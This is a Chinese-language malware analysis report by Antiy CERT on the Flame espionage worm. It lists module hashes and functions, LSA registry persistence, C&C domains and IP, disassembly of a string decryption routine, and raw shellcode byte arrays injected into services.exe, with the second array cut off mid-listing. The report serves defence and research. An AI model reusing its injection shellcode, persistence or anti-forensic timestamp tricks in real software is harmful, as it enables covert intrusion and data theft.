Flame蠕虫样本集分析报告
安天安全研究与应急处理中心(Antiy CERT)
首次发布时间:2012年5月31日
本版本更新时间:2012年8月17日
  
分析小组絮语
    在我们工作的经历中还从没出现过这样的情况,一个分析小团队接近一个月的时间里,只面对一个恶意代码,并且还计划把工作继续下去,尽管在Stuxnet蠕虫中,我们尝试这样做过,但小组只工作了不到10天的时间,便浅尝辄止了。我们自陆续对Stuxnet、Duqu和Flame进行分析以来,我们逐渐的发现作为传统的AVER,在面对挑战和变革时传统的方法必须被打破。 
  传统的恶意代码主要目的为感染更多的计算机,后期演化成利益链条,所以其开发简单直接,功能明确,他们往往采用单体的文件,尽量减小体积以利于可靠传播,因此对其进行分析也相对容易。从另一个意义上说,地下经济虽然催生了类似Trojan、Bot等的爆发,但并没有影响到攻守双方的平衡,反病毒团队依托捕获体系和后端的自动化分析平台,几乎所有的反病毒厂商都能在很少的人工分析的工作支持下,应对海量的恶意代码。甚至仅凭自动化系统,在无人值守的情况下,新的检测规则同样可以从新的样本被提取出来,并分发给反病毒产品。因此我们滋长了惰性,过多的依赖沙箱和其他的自动化环节,甚至我们一度以为病毒分析工程师的使命正在被淡化和消亡。 
  而今天在面对Stuxnet、Flame等病毒时,一切不同了,用户更多询问我们的不是“如何发现、你的产品能不能杀掉”,而是“他到底干了什么?”、“我如何避免今后类似的攻击?”这些都让我们必须从分析流水线的操纵者,重新变回贴身肉搏的战士,我们需要回到短兵相接的现场勘察、环境复现和深入细腻的后端分析中。 
  Flame的文件数量和总体大小都是令人震撼的,与之前我们看到的APT场景下的恶意代码一样,类似样本采用模块化,框架化开发,结构复杂,文件较多,但Flame几乎达到了难以想象的程度。其模块分工亦导致了其隐蔽性较好,躲避杀软的能力较高。并且内部封装了各种加密模块来隐藏重要信息。这些体积庞大结构复杂的恶意代码在APT攻击中扮演着精密的任务,其对环境特征的监察非常准确,如果发现环境信息不符合其感染的目的则直接退出,并完全清除痕迹,这种样本不会大规模爆发,依托大量配置信息和远程调度完成工作,在被发现时一般目的已经达成。我们习惯性的分析单体病毒样本,依托自动化分析结果和少量的反汇编,包括那些在分析报告之前,加一个带有HASH值的样本标签的习惯工作思路,应对这种复杂的局面时,都显得那样的幼稚和过时。 
  因此面对这么多的样本和衍生文件,我们最终选择了蚂蚁搬家的方法,小组每人分工分析不同的模块,并把分析结果随手记录下来,我们不指望最终有一篇巨大的研究报告,而是能把这些点滴集合起来,为应对这种攻击提供一些研究基础。小组内有两条线路,一是主模块分析,主模块文件体积有6MB多,分析时投入的时间较多。主要对其加密算法、字符串信息、整体结构等方面进行分析。二是其它模块功能分析,在分析模块功能时发现部分模块具有相同的功能如:收集信息、遍历进程、屏幕窃取等。在分析过程中我们还在内存中发现很多有意思的信息,但我们依然陷于“猜谜”之中。 
  我们在后续会继续我们的工作,并力图把更多结果,更新到这份报告之上。在一段时间内,能够持续去做一件有意义的事,是幸福的,特别是与伙伴在一起做的时候。 
安天实验室安全研究与应急处理中心 
  Pluck、Sky、White、Pillcor
  2012.07.31
  
1 事件背景
安天实验室于2012年5 月28 日起陆续捕获到Flame蠕虫的样本,截止到目前安天已经累计捕获Flame蠕虫主文件的变种数6个,其它模块为20多个不同HASH值的样本实体,并通过这些样本进一步生成了其他的衍生文件。安天成立了专门的分析小组,经过持续分析,发现它是采用多模块化复杂结构实现的信息窃取类型的恶意软件。其主模块文件大小超过6MB。包含了大量加密数据、内嵌开源软件代码(如Lua等)、漏洞攻击代码、模块配置文件、多种加密压缩算法,信息盗取等多种模块。在漏洞攻击模块中发现了Stuxnet使用过的USB攻击模块,Stuxnet事件是发生在2010年针对伊朗核设施的APT攻击事件[1]。 
    据外界现有分析,该恶意软件已经非常谨慎地运作了至少两年时间[2],它不但能够窃取文件,对用户系统进行截屏,通过USB传播禁用安全厂商的安全产品,并可以在一定条件下传播到其他系统,还有可能利用微软Windows系统的已知或已修补的漏洞发动攻击,进而在某个网络中大肆传播。 
    目前业内各厂商对该蠕虫的评价如下:McAfee认为此威胁是Stuxnet和Duqu攻击的继续[3];卡巴斯基实验室则认为Flame攻击是目前发现的最为复杂的攻击之一[4],它是一种后门木马并具有蠕虫的特征。赛门铁克认为,Flame与之前两种威胁Stuxnet和Duqu一样,其代码非一人所为,而是由一个有组织、有资金支持并有明确方向性的网络犯罪团体所编写。 
2 Flame蠕虫文件信息
表 2-1现有Flame蠕虫PE文件与功能一览表
文件名
        | 
    文件MD5与大小
        | 
    功能
        | 
  
mssecmgr.ocx
                | 
    b51424138d72d343f22d03438fc9ced5       (1,236,992字节)
               0a17040c18a6646d485bde9ce899789f       (6,172,160字节)
               ee4b589a7b5d56ada10d9a15f81dada9 (892,417字节)
             e5a49547191e16b0a69f633e16b96560       (6,166,528字节)
             bdc9e04388bda8527b398a8c34667e18
        (1,236,992字节)
           37c97c908706969b2e3addf70b68dc13       (391,168 字节)
              | 
    主模块运行后会将其资源文件中的多个功能模块解密释放出来,并将它们注入到多个系统 进程中。它通过调用Lua来执行脚本完成指定功能。
        | 
  
advnetcfg.ocx
                | 
    f0a654f7c485ae195ccf81a72fe083a2   (643,072 字节)
               8ed3846d189c51c6a0d69bdc4e66c1a5       (421,888 字节)
               bb5441af1e1741fca600e9c433cb1550 (643,944 字节)
              | 
    由主模块释放:截取屏幕信息。
        | 
  
msglu32.ocx
                | 
    d53b39fb50841ff163f6e9cfd8b52c2e  (1,721,856 字节)
               2512321f27a05344867f381f632277d8 (1,729,536 字节)
                | 
    由主模块释放:遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到SQL数据库中,同时也可以收集文件中与地域性相关的一些信息。
        | 
  
nteps32.ocx
                | 
    c9e00c9d94d1a790d5923b050b0bd741
      (827,392 字节)
         e66e6dd6c41ece3566f759f7b4ebfa2d  (602,112 字节)
               5ecad23b3ae7365a25b11d4d608adffd  (827,392 字节)
              | 
    由主模块释放:用来键盘记录和截取屏幕信息。对一些邮件域名进行监控。
        | 
  
rpcns4.ocx
               (soapr32.ocx)
            | 
    296e04abb00ea5f18ba021c34e486746 (160,768 字节)
               1f9f0baa3ab56d72daab024936fdcaf3  (188,416 字节)
               cc54006c114d51ec47c173baea51213d (253,952 字节)
             e6cb7c89a0cae27defa0fd06952791b2 (349,596 字节)
              | 
    用来收集信息的功能模块。获取系统中的一些信息,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。
        | 
  
comspol32.ocx
                | 
    20732c97ef66dd97389e219fc0182cb5 (634,880 字节)
                | 
    分析中。
        | 
  
00004784.dll
               (jimmy.dll)
                | 
    ec992e35e794947a17804451f2a8857e (483,328 字节)
                | 
    是用来收集用户计算机信息,包括窗体标题、注册表相关键值信息、计算机名,磁盘类型等。
        | 
  
wusetupv.exe
                | 
    1f61d280067e2564999cac20e386041c       (29,928 字节)
                | 
    收集本机各个接口的信息、进程信息,注册表键值信息等。
        | 
  
DSMGR.DLL
               (browse32.ocx)
            | 
    2afaab2840e4ba6af0e5fa744cd8f41f   (116,224 字节)
               7d49d4a9d7f0954a970d02e5e1d85b6b(458,869 字节)
                | 
    用来删除恶意软件所有痕迹,防止取证分析。
        | 
  
boot32drv.sys(00004069.exe)
        | 
    06a84ad28bbc9365eb9e08c697555154(49,152 字节)
                | 
    它是一个加密数据文件并不是PE文件,加密方式是通过与0xFF做xor操作。
        | 
  
表 2-2Flame蠕虫所有衍生文件和其它文件列表
Ef_trace.log
                  | 
    dstrlog.dat
                  | 
    mscorest.dat
                  | 
    soapr32.ocx
                  | 
    winrt32.dll
                  | 
  
GRb9M2.bat
                | 
    dstrlogh.dat
                | 
    mscrypt.dat
                | 
    srcache.dat
                | 
    winrt32.ocx
                | 
  
Lncache.dat
                | 
    fmpidx.bin
                | 
    msglu32.ocx
                | 
    sstab.dat
                | 
    wpab32.bat
                | 
  
Temp~mso2a0.tmp
                | 
    indsvc32.dll
                | 
    mspovst.dat
                | 
    sstab0.dat
                | 
    wpgfilter.dat
                | 
  
Temp~mso2a1.tmp
                | 
    indsvc32.ocx
                | 
    mssui.drv
                | 
    sstab1.dat
                | 
    ~8C5FF6C.tmp
                | 
  
Temp~mso2a2.tmp
                | 
    lmcache.dat
                | 
    mssvc32.ocx
                | 
    sstab10.dat
                | 
    ~DF05AC8.tmp
                | 
  
advnetcfg.ocx
                | 
    ltcache.dat
                | 
    nt2cache.dat
                | 
    sstab11.dat
                | 
    ~DFD85D3.tmp
                | 
  
advpck.dat
                | 
    m3aaux.dat
                | 
    ntaps.dat
                | 
    sstab12.dat
                | 
    ~DFL543.tmp
                | 
  
audfilter.dat
                | 
    m3afilter.dat
                | 
    ntcache.dat
                | 
    sstab15.dat
                | 
    ~DFL544.tmp
                | 
  
authcfg.dat
                | 
    m3asound.dat
                | 
    nteps32.ocx
                | 
    sstab2.dat
                | 
    ~DFL546.tmp
                | 
  
authpack.ocx
                | 
    m4aaux.dat
                | 
    pcldrvx.ocx
                | 
    sstab3.dat
                | 
    ~HLV084.tmp
                | 
  
boot32drv.sys
                | 
    m4afilter.dat
                | 
    posttab.bin
                | 
    sstab4.dat
                | 
    ~HLV294.tmp
                | 
  
ccalc32.sys
                | 
    m4asound.dat
                | 
    qpgaaux.dat
                | 
    sstab5.dat
                | 
    ~HLV473.tmp
                | 
  
commgr32.dll
                | 
    m5aaux.dat
                | 
    rccache.dat
                | 
    sstab6.dat
                | 
    ~HLV751.tmp
                | 
  
comspol32.dll
                | 
    m5afilter.dat
                | 
    rpcnc.dat
                | 
    sstab7.dat
                | 
    ~HLV927.tmp
                | 
  
comspol32.ocx
                | 
    m5asound.dat
                | 
    scaud32.exe
                | 
    sstab8.dat
                | 
    ~KWI988.tmp
                | 
  
ctrllist.dat
                | 
    mixercfg.dat
                | 
    scsec32.exe
                | 
    sstab9.dat
                | 
    ~KWI989.tmp
                | 
  
dmmsap.dat
                | 
    mixerdef.dat
                | 
    sdclt32.exe
                | 
    syscache.dat
                | 
    ~TFL848.tmp
                | 
  
domm.dat
                | 
    mlcache.dat
                | 
    secindex.dat
                | 
    syscache3.dat
                | 
    ~TFL849.tmp
                | 
  
domm2.dat
                | 
    modevga.com
                | 
    sndmix.drv
                | 
    watchxb.sys
                | 
    ~ZFF042.tmp
                | 
  
domm3.dat
                | 
    mpgaaux.dat
                | 
    mscorest.dat
                | 
    wavesup3.drv
                | 
    ~a28.tmp
                | 
  
dommt.dat
                | 
    mpgaud.dat
                | 
    mscrypt.dat
                | 
    winconf32.ocx
                | 
    ~a38.tmp
                | 
  
~dra51.tmp
                | 
    ~dra52.tmp
                | 
    ~dra53.tmp
                | 
    ~dra61.tmp
                | 
    ~rei524.tmp
                | 
  
~rei525.tmp
                | 
    ~rf288.tmp
                | 
    
        | 
    
        | 
    
        | 
  
3功能分析
3.1 MSSECMGR.OCX主模块分析
蠕虫主模块是一个文件名为mssecmgr.ocx的DLL文件,我们发现该模块已有多个衍生版本,文件大小为6M,运行后会连接C&C服务器,并试图下载或更新其它模块。主模块不同时期在被感染的机器上文件名有不同,但扩展名都为“OCX”。运行后的主模块会将其资源文件中的多个功能模块解密释放出来,并将多个功能模块注入到多个进程中,功能模块具有获取进程信息、键盘信息、硬件信息、屏幕信息、麦克风、存储设备、网络、WIFI、蓝牙、USB等多种信息的功能。所记录的信息文件存放在%Windir%\temp\下。该蠕虫会先对被感染系统进行勘察,如果不是其想要的攻击对象,它将会自动从被感染系统卸载掉。蠕虫最有可能是通过欺骗微软升级服务器对本地网络传播和通过一个USB接入设备进行传播。蠕虫还能够发现有关其周边设备的信息。通过蓝牙装置,它会寻找其它设备,比如手机或笔记本电脑等。此蠕虫和以往蠕虫有很大程度上的不同,首先主模块体积很大,并包含多个功能模块,内嵌Lua解释器和大量Lua脚本,进行高层的功能扩展。启动方式比较特殊,具有多种压缩和加密方式。
本地行为注:该键值会达到开机加载mssecmgr.ocx的目的。该文件路径为:%system32%\mssecmgr.ocx。
通过对“146”资源进行释放并加载运行,以下为资源释放的模块:
文件
        | 
    MD5
                  | 
  
%System32%\advnetcfg.ocx
        | 
    BB5441AF1E1741FCA600E9C433CB1550
                | 
  
%System32%\boot32drv.sys
        | 
    C81D037B723ADC43E3EE17B1EEE9D6CC
                | 
  
%System32%\msglu32.ocx
        | 
    D53B39FB50841FF163F6E9CFD8B52C2E
                | 
  
%Syste32m%\nteps32.ocx
        | 
    C9E00C9D94D1A790D5923B050B0BD741
                | 
  
%Syste32m%\soapr32.ocx
        | 
    296E04ABB00EA5F18BA021C34E486746
        | 
  
%Syste32m%\ccalc32.sys    
                | 
    5AD73D2E4E33BB84155EE4B35FBEFC2B
                | 
  
其它文件:
在%ProgramFiles%\Common Files\Microsoft Shared\MSAudio目录下为各模块的配置信息和自身副本文件,从网络中更新或下载新模块配置也会在这里,列表如下:
在分析过程中发现以上文件可能为病毒的配置文件,当病毒要进行一个操作前先读取此文件中的一块信息,然后完成其指定的操作。病毒先将以上文件释放然后删除一次,最后又重新释放,推测为不同功能之间的重复操作导致。
根据“146”资源配置还可能会存在以下文件目录:
关于遍历安全进程列表内容参见附录一(详见附录一:为Mssecmgr.ocx文件中的遍历安全进程列表,其列表和其它模块中的一些遍历进程列表中一些进程是相同的。)
访问地址1:http://windowsuate.microsoft.com/
  访问地址2:http://windowsupdate.microsoft.com/windowsupdate/v6/default.aspx 
  协议:Http
  端口:80
  访问地址:91.135.66.118[traffic-spot.com][traffic-spot.biz][smart-access.net][quick-net.info]
  协议:Https
  端口:443
  病毒运行后,首先访问Windows系统升级服务器地址,然后对IP地址为91.135.66.118的四个域名进行访问,并回传数据。 

图 3-1 Post数据
连接所有的域名信息参加附录二(附录二:连接所有域名列表)。
样本文件启动加载顺序
图 3-2文件启动加载顺序
该病毒的加载方式有两种,一种是在注册表中添加键值,另一种是利用批处理文件来执行DOS命令运行Rundll32.exe加载主模块运行。 
  首先查询注册表HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\SeCEdit和查看%Program Files%\Common  Files\Microsoft Shared\MSAudio\wavesup3.drv文件是否存在。写入HKLM\System\CurrentControlSet\Control\TimeZoneInformation\StandardSize值为:114。 
  创建MSSecurityMgr目录,写入文件Mscrypt.dat,在查询信息文件时每查询后会把更改时间写成1601-1-1 08:00:00,经过1分钟后写入Wpgfilter.dat文件在查询信息文件时每查询后会把更改时间写成1601-1-1 08:00:00,经过1分钟左右后写入Wavesup3.drv文件查询后会把更改时间写成1601-1-1 08:00:00,写入文件Wavesup3.drv后会写入Audcache文件接着写入Audfilter.dat文件。然后查找以下文件: 
然后注入进程Services.exe调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,把Wpgfilter.dat的内容加载到Shell32.dll中,再加载Audcache文件内容到Shell32.dll中。再加载Wavesup3.drv文件,然后释放Neps32.exe文件、Comspol32.ocx、Advnetcfg.ocx、Boot32drv.sys、Msglu32.ocx,并将它们的时间改为Kernel32.dll文件的时间,为了躲避安全软件的检测。 
  然后注入到Winlogon.exe进程中调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,把Netps32.ocx和Ccalc32.sys的内容加载到Shell32.dll中。并将它们的时间改为Kernel32.dll文件的时间,为了躲避安全软件的检测。 
  通过注入Explore.exe进程调用系统文件Shell32.dll文件,并劫持Shell32.dll内容,并使其创建Iexplore.exe进程,把Wpgfilter.dat的内容加载到Shell32.dll中,然后再加载Audcache文件内容到Shell32.dll中。几分钟后加载Wavesup3.drv文件。查询注册表系统服务项,连接微软升级服务器,然后再连接病毒服务器。 
  程序中大量数据被加密。加密算法代码位置如下: 
0x1000E3F5  proc near
  
                test    edx, edx
  
                push    esi
  
                mov     esi, eax
  
                jbe     short 0x1000E42F
      
                push    ebx
  
                push    edi
  
                push    0Bh
  
                pop     edi
  
                sub     edi, esi
  
0x1000E403:
  
                lea     ecx, [edi+esi]
  
                lea     eax, [ecx+0Ch]
  
                imul    eax, ecx
  
                add     eax, dword_10376F70
      
                mov     ecx, eax
  
                shr     ecx, 18h
  
                mov     ebx, eax
  
                shr     ebx, 10h
  
                xor     cl, bl
  
                mov     ebx, eax
  
                shr     ebx, 8
  
                xor     cl, bl
  
                xor     cl, al
  
                sub     [esi], cl
  
                inc     esi
  
                dec     edx
  
                jnz     short 0x1000E403
      
                pop     edi
  
                pop     ebx
  
0x1000E42F:
  
                pop     esi
  
                retn
  
0x1000E3F5  endp
  
对该函数的调用有2个函数。分别位置如下:
1000E451                 movzx   edx, word ptr [ebx+9]
  
1000E455                 lea     eax, [ebx+0Bh]
  
1000E458                 mov     [ebp+8], eax
  
1000E45B                 call    0x1000E3F5
      
  
1000E498                 movzx   edx, word ptr [esi+12h]
  
1000E49C                 lea     ebx, [esi+14h]
  
1000E49F                 mov     eax, ebx
  
1000E4A1                 call    0x1000E3F5
  
解密算法说明: 
  函数有两个参数:edx [解密字符串长度],eax[解密字符串的起始地址]
  返回值:eax[解密后字符串的起始地址]
  解密算法: 
  ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x10376F70h]
  注意:n是要解密的字符距起始字符的距离.
  CL=(M1)xor(M2)xor(M3)xor(M4)
  解密数据 = 加密数据 – CL
  第一次调用: 
  函数有一个参数:arg.1[地址]
  解密字符串长度:[word]arg.1+0x9h
  解密字符串起始地址:[dword]arg.1+0xBh
  返回值: 解密后字符串的起始地址 
  第二次调用: 
  函数有一个参数:arg.1[address]
  解密字符串长度:  [word]arg.1+0x12h
  解密字符串起始地址:  [dword]arg.1+0x14h
  返回值: 解密后字符串的起始地址 
对该病毒的调试过程中发现其将所有的指针通过函数EncodePointer进行编码后存储到内部结构中(这也与Duqu的实现方式类似),当使用时再调用DecodePointer解码使用,这样做会使对其静态分析变得极其困难。这个病毒使用了通过获取系统dll文件的导出函数表并循环查找指定函数的方法来动态获取函数地址,此方法是恶意代码的惯用手段,详见代码。
mov     eax, [ebp-4]
  
mov     eax, [esi+eax*4]        //export func name offset
  
add     eax, [ebp+module_handle]
  
push    [ebp+func_name_size]
  
mov     [ebp+export_func_name], eax
  
push    eax
  
call    IsBadReadPtr
      
test    eax, eax
  
jnz     0x1000BE19
  
push    [ebp+func_name]
  
push    [ebp+export_func_name]
  
call    lstrcmpiA
      
test    eax, eax
  
jz      short 0x1000BE2B 
  
图 3-3动态获取指定Dll文件中的函数
该恶意代码在系统路径%ProgramFiles%\Common  Files\Microsoft Shared下创建MSSecurityMgr文件夹,并将一些配置文件保存到此目录中。恶意代码会在进程环境变量中保存系统关键目录(WINDOWS目录、SYSTEM32目录、系统临时目录)和自身程序的文件路径。并通过文件查找的API函数来寻找Kernel32.dll文件,并将恶意代码所创建的文件或文件夹的时间设置为与Kernel32.dll文件相同。起到隐藏痕迹的目的。 
  该恶意代码先将自身复制为%System32%\mssecmgr.ocx。再通过修改注册表达到启动目的,修改的注册表键值为: 
  “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”
  下的“Authentication Packages”。将其值中追加病毒的模块名如图5。此注册表键值的作用是列出了用户身份验证程序包,当用户登录到系统时加载并调用[5]。从而达到开机启动的目的。 
图 3-4修改的注册表键值
病毒通过遍历进程来查找Explorer.exe进程并通过WriteProcessMemory将Shell Code写入到Explorer.exe进程中。并且通过CreateRemoteTheread 函数创建远程线程执行ShellCode。
调试发现加密数据,并将其释放到指定目录下。 
C:\Program Files\Common Files\Microsoft  Shared\MSSecurityMgr\mscrypt.dat
此模块中的数据应为配置数据 
分析程序的进程操作行为 
程序利用OpenProcess打开services.exe进程,句柄为0x174
通过函数WriteProcessMemory向Services.exe进程写入Shellcode,这也是恶意代码的惯用手法,存在明显恶意行为的代码注入到系统进程中执行,以躲避杀软查杀。 
Sehll Code内容,长度为0x82
0x55,0x8B,0xEC,0x51,0x53,0x56,0x57,0x33,0xFF,0x89,0x7D,0xFC,0xE8,0x00,0x00,0x00,
      
0x00,0x58,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x6A,0x64,0x59,0x48,0x49,0x89,0x45,0xFC,
      
0x74,0x5B,0x81,0x38,0xBA,0xBA,0x0D,0xF0,0x75,0xF1,0x8D,0x70,0x04,0x8B,0x0E,0x6A,
      
0xFF,0xFF,0x31,0x8B,0xD8,0xFF,0x50,0x08,0x85,0xC0,0x75,0x2C,0x8B,0x06,0x83,0x7C,
      
0x07,0x0C,0x00,0x74,0x0E,0xFF,0x75,0x10,0x03,0xC7,0xFF,0x75,0x0C,0xFF,0x70,0x08,
      
0xFF,0x50,0x0C,0x81,0xC7,0x20,0x02,0x00,0x00,0x81,0xFF,0x00,0x55,0x00,0x00,0x72,
      
0xDB,0x8B,0x06,0xFF,0x30,0xFF,0x53,0x0C,0xFF,0x75,0x10,0x8B,0x06,0xFF,0x75,0x0C,
      
0xFF,0x75,0x08,0xFF,0x50,0x04,0x5F,0x5E,0x5B,0xC9,0xC2,0x0C,0x00,0x33,0xC0,0x40,
      
0xEB,0xF4
  
第二段Shell Code会被后面创建的远程线程直接执行。
  ShellCode内容,长度为0x70c
0x55,0x8B,0xEC,0x83,0xEC,0x70,0x53,0x33,0xDB,0x56,0x8B,0x75,0x08,0x57,0x33,0xC0,
      
0x89,0x5D,0xA8,0x8D,0x7D,0xAC,0xAB,0xAB,0x8D,0x86,0x74,0x04,0x00,0x00,0x50,0xC6,
      
0x45,0xFA,0x00,0x89,0x5D,0xE8,0x88,0x5D,0xFB,0x89,0x5D,0xE4,0x89,0x5D,0xEC,0x89,
      
0x5D,0xC8,0x89,0x5D,0xD0,0x89,0x5D,0xD4,0x89,0x5D,0xBC,0x89,0x5D,0xC4,0x89,0x5D,
      
0xE0,0x89,0x5D,0xDC,0xC7,0x45,0xF0,0x01,0x00,0xFF,0xFF,0x89,0x9E,0x2C,0x0B,0x00,
      
0x00,0xFF,0x56,0x10,0x3B,0xC3,0x89,0x45,0xC0,0x75,0x0A,0xB8,0x02,0x00,0xFF,0xFF,
      
0xE9,0xA0,0x06,0x00,0x00,0x8D,0x86,0x81,0x04,0x00,0x00,0x50,0xFF,0x75,0xC0,0xFF,
      
0x56,0x1C,0x3B,0xC3,0x75,0x0A,0xB8,0x03,0x00,0xFF,0xFF,0xE9,0x85,0x06,0x00,0x00,
      
0x53,0x8D,0x4D,0xDC,0x51,0x6A,0x01,0x8D,0x8E,0xB6,0x04,0x00,0x00,0x51,0xFF,0xD0,
      
0x85,0xC0,0x75,0x0A,0xB8,0x04,0x00,0xFF,0xFF,0xE9,0x67,0x06,0x00,0x00,0x8B,0x45,
      
0xDC,0x89,0x45,0xAC,0x8D,0x86,0x30,0x0B,0x00,0x00,0x8B,0x78,0x3C,0x03,0xF8,0xC7,
      
0x45,0xA8,0x0C,0x00,0x00,0x00,0x89,0x5D,0xB0,0x0F,0xB7,0x47,0x14,0x8D,0x44,0x38,
      
0x18,0x89,0x45,0xCC,0x8B,0x47,0x08,0x25,0x07,0xF8,0xFF,0xFF,0x05,0x00,0x00,0x90,
      
0xD6,0x3D,0x00,0x00,0x00,0x06,0x0F,0x87,0x24,0x06,0x00,0x00,0x38,0x9E,0x20,0x09,
      
0x00,0x00,0x8B,0x47,0x50,0x89,0x45,0x08,0x74,0x67,0x53,0x53,0x6A,0x03,0x53,0x6A,
      
0x01,0x68,0x00,0x00,0x00,0x80,0x8D,0x86,0x22,0x09,0x00,0x00,0x50,0xFF,0x56,0x50,
      
0x83,0xF8,0xFF,0x89,0x45,0xF4,0x75,0x0A,0xB8,0x06,0x00,0xFF,0xFF,0xE9,0xF3,0x05,
      
0x00,0x00,0x53,0xFF,0x75,0x08,0x53,0x68,0x02,0x00,0x00,0x01,0x53,0x50,0xFF,0x56,
      
0x28,0xFF,0x75,0xF4,0x89,0x45,0xD8,0xFF,0x56,0x4C,0x39,0x5D,0xD8,0x75,0x0A,0xB8,
      
0x07,0x00,0xFF,0xFF,0xE9,0xCC,0x05,0x00,0x00,0xFF,0x75,0x08,0x53,0x53,0x6A,0x04,
      
0xFF,0x75,0xD8,0xFF,0x56,0x30,0xFF,0x75,0xD8,0x89,0x45,0xF4,0xFF,0x56,0x4C,0xEB,
      
0x0F,0x6A,0x04,0x68,0x00,0x10,0x00,0x00,0x50,0x53,0xFF,0x56,0x04,0x89,0x45,0xF4,
      
0x39,0x5D,0xF4,0x75,0x0A,0xB8,0x08,0x00,0xFF,0xFF,0xE9,0x96,0x05,0x00,0x00,0x8D,
      
0x45,0xC4,0x50,0x6A,0x04,0xFF,0x75,0x08,0xFF,0x75,0xF4,0xFF,0x56,0x0C,0x85,0xC0,
      
0x75,0x0C,0xC7,0x45,0xF0,0x09,0x00,0xFF,0xFF,0xE9,0x8D,0x04,0x00,0x00,0xFF,0x77,
      
0x50,0x53,0xFF,0x75,0xF4,0xFF,0x56,0x24,0xFF,0x77,0x54,0x8D,0x86,0x30,0x0B,0x00,
      
0x00,0x50,0xFF,0x75,0xF4,0xFF,0x56,0x20,0x83,0xC4,0x18,0x66,0x39,0x5F,0x06,0x89,
      
0x5D,0x08,0x76,0x35,0x0F,0xB7,0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,
      
0xFF,0x70,0x10,0x8B,0x50,0x14,0x8B,0x40,0x0C,0x03,0x45,0xF4,0x8D,0x8E,0x30,0x0B,
      
0x00,0x00,0x03,0xD1,0x52,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0xFF,0x45,0x08,0x66,
      
0x8B,0x45,0x08,0x66,0x3B,0x47,0x06,0x72,0xCB,0x8B,0x45,0xF4,0x2B,0x47,0x34,0x89,
      
0x45,0xB8,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x87,0xA0,0x00,0x00,0x00,0x03,0x45,
      
0xF4,0x3B,0x45,0xF4,0x75,0x0C,0xC7,0x45,0xF0,0x0A,0x00,0xFF,0xFF,0xE9,0x09,0x04,
      
0x00,0x00,0x8B,0x8F,0xA4,0x00,0x00,0x00,0x03,0xC8,0x3B,0xC1,0x89,0x4D,0xB4,0x73,
      
0x61,0x8B,0x50,0x04,0x8B,0x08,0x03,0x4D,0xF4,0x83,0xEA,0x08,0xF7,0xC2,0xFE,0xFF,
      
0xFF,0xFF,0x89,0x5D,0x08,0x76,0x43,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,0x81,
      
0xE2,0xFF,0x0F,0x00,0x00,0x89,0x55,0xD8,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,
      
0x0F,0xB7,0xD2,0xC1,0xEA,0x0C,0x74,0x10,0x83,0xFA,0x03,0x75,0x3F,0x0F,0xB7,0x55,
      
0xD8,0x8B,0x5D,0xB8,0x03,0xD1,0x01,0x1A,0x8B,0x50,0x04,0xFF,0x45,0x08,0x83,0xEA,
      
0x08,0xD1,0xEA,0x33,0xDB,0x39,0x55,0x08,0x72,0xBD,0x03,0x40,0x04,0x3B,0x45,0xB4,
      
0x72,0x9F,0x8B,0x87,0x80,0x00,0x00,0x00,0x03,0x45,0xF4,0x3B,0x45,0xF4,0x75,0x18,
      
0xC7,0x45,0xF0,0x0C,0x00,0xFF,0xFF,0xE9,0x7F,0x03,0x00,0x00,0xC7,0x45,0xF0,0x0B,
      
0x00,0xFF,0xFF,0xE9,0x73,0x03,0x00,0x00,0x39,0x58,0x0C,0x0F,0x84,0x80,0x00,0x00,
      
0x00,0x83,0xC0,0x10,0x89,0x45,0x08,0x8B,0x45,0x08,0x83,0x38,0x00,0x74,0x70,0x83,
      
0x78,0xF4,0x00,0x0F,0x85,0xB9,0x00,0x00,0x00,0x8B,0x58,0xFC,0x03,0x5D,0xF4,0x53,
      
0xFF,0x56,0x18,0x85,0xC0,0x0F,0x84,0xB0,0x00,0x00,0x00,0x53,0xFF,0x56,0x10,0x85,
      
0xC0,0x89,0x45,0xD8,0x0F,0x84,0xAA,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x18,0x03,
      
0x5D,0xF4,0xEB,0x29,0x8B,0x03,0x85,0xC0,0x79,0x07,0x25,0xFF,0xFF,0x00,0x00,0xEB,
      
0x08,0x8B,0x4D,0xF4,0x03,0xC1,0x83,0xC0,0x02,0x50,0xFF,0x75,0xD8,0xFF,0x56,0x1C,
      
0x85,0xC0,0x89,0x03,0x0F,0x84,0x83,0x00,0x00,0x00,0x83,0xC3,0x04,0x83,0x3B,0x00,
      
0x75,0xD2,0x83,0x45,0x08,0x14,0x8B,0x45,0x08,0x83,0x78,0xFC,0x00,0x75,0x88,0x33,
      
0xDB,0x66,0x39,0x5F,0x06,0x89,0x5D,0x08,0x0F,0x86,0xBA,0x00,0x00,0x00,0x0F,0xB7,
      
0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,0x8B,0x48,0x24,0xF7,0xC1,0x20,
      
0x00,0x00,0x20,0x74,0x07,0xC7,0x45,0xC8,0x01,0x00,0x00,0x00,0x33,0xD2,0x42,0x85,
      
0xC9,0x79,0x03,0x89,0x55,0xD0,0xF7,0xC1,0x00,0x00,0x00,0x40,0x74,0x03,0x89,0x55,
      
0xD4,0x39,0x5D,0xC8,0x8B,0xCA,0x74,0x42,0x39,0x5D,0xD0,0x74,0x2E,0x6A,0x40,0x59,
      
0xEB,0x49,0xC7,0x45,0xF0,0x0D,0x00,0xFF,0xFF,0xEB,0x19,0xC7,0x45,0xF0,0x0E,0x00,
      
0xFF,0xFF,0xEB,0x10,0xC7,0x45,0xF0,0x0F,0x00,0xFF,0xFF,0xEB,0x07,0xC7,0x45,0xF0,
      
0x10,0x00,0xFF,0xFF,0x33,0xDB,0xE9,0x70,0x02,0x00,0x00,0x8B,0x4D,0xD4,0xF7,0xD9,
      
0x1B,0xC9,0x83,0xE1,0x10,0x83,0xC1,0x10,0xEB,0x11,0x39,0x5D,0xD4,0x74,0x0C,0x33,
      
